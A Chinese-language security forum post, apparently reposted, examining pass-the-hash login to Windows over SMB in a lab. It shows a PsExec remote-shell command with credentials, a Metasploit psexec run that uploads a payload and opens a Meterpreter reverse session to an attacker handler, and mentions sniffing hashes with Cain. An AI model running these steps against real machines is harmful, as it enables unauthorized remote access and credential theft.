zone:使用Hash直接登录Windows
由于msf用到exploit/windows/smb/psexec模块,所以猜想和pstool里面的PsExec.exe应该有些许联系
查看说明,PsExec.exe可以进行远程连接得到一个交互式cmdshell,
C:\Documents and Settings\Administrator\桌面>PsExec.exe \\192.168.1.108 -u "admi nistrator" -p "123" cmd PsExec v1.98 - Execute processes remotely Copyright (C) 2001-2010 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [版本 5.2.3790] (C) 版权所有 1985-2003 Microsoft Corp. C:\WINDOWS\system32>
csdn上某牛对于该工具的分析:PSTOOLS系列工具分析----对PSEXEC的逆向解析
“可以看到psexec在通信时主要用到了SMB这个应用层协议。简而言之,SMB(服务器信息块)协议是一个通过网络在共享文件、设备、命名管道和邮槽之间操作数据的协议,我们建立IPC连接、映射网络驱动、拷贝文件等操作都是基于SMB协议”
话说回来,msf中使用的,自己重现使用hash登陆的部分过程:
msf exploit(psexec) > exploit [*] Started reverse handler on 192.168.1.5:4444 [*] Connecting to the server... [*] Authenticating to 192.168.1.108:445|WORKGROUP as user 'administrator'... [*] Uploading payload... [*] Created \JLqNziXu.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.108[\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.108[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (lvNaXYva - "MyQqiNw")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \JLqNziXu.exe... [*] Sending stage (752128 bytes) to 192.168.1.108 [*] Meterpreter session 2 opened (192.168.1.5:4444 -> 192.168.1.108:1033) at 2013-01-05 22:05:35 +0800 meterpreter > sysinfo Computer :Test OS : Windows .NET Server (Build 3790). Architecture : x86 System Language : zh_CN Meterpreter : x86/win32 meterpreter >
可以看出认证部分[*] Authenticating to 192.168.1.108:445|WORKGROUP as user 'administrator'...应该就是向服务器发起一个用户或共享的认证(其他的是Meterpreter shell建立的过程),大致原理和PsExec.exe的是一样的。
最后关键的问题是,msf这种的"使用的是hash登陆"。而SMB协商过程指出:
“在SMB协议中,如果你想进行一次在服务器上的请求认证,你的密码可以以原码或加密后的形式发送到服务器端。如果服务器支持加密属性,客户端必须发送一个应答信号。在negprot应答数据报中,服务器会给客户端发送一个密钥。然后,客户端将密码加密并通过SesssetupX请求数据报发送到服务器端。服务器将会核查密码的有效性,并由此允许或拒绝客户端的访问。你必须知道一个SMB密码(未加密)的最大长度是14位。密钥的长度一般为8位,加密过后的口令长度为24位。在ANSI密码中,密码中的所有位都转换成大写的形式然后再加密。
密码是以DEC编码方式进行加密的。”
抓包证明:
利用PSEXEC远程连接,SMB协商过程数据包:
另外:次过程中,通过cain做嗅探,导致smb协商不成功,而且cain抓出提出smb协议的主机的账号及hash,而没能抓出登陆过程使用的用户名密码
meterpreter连接方式(应答报文包含了一个“SecurityMode”域,它判断是否允许使用加密属性):
得以验证。
--!
转自:http://zone.wooyun.org/content/2230
留言评论(旧系统):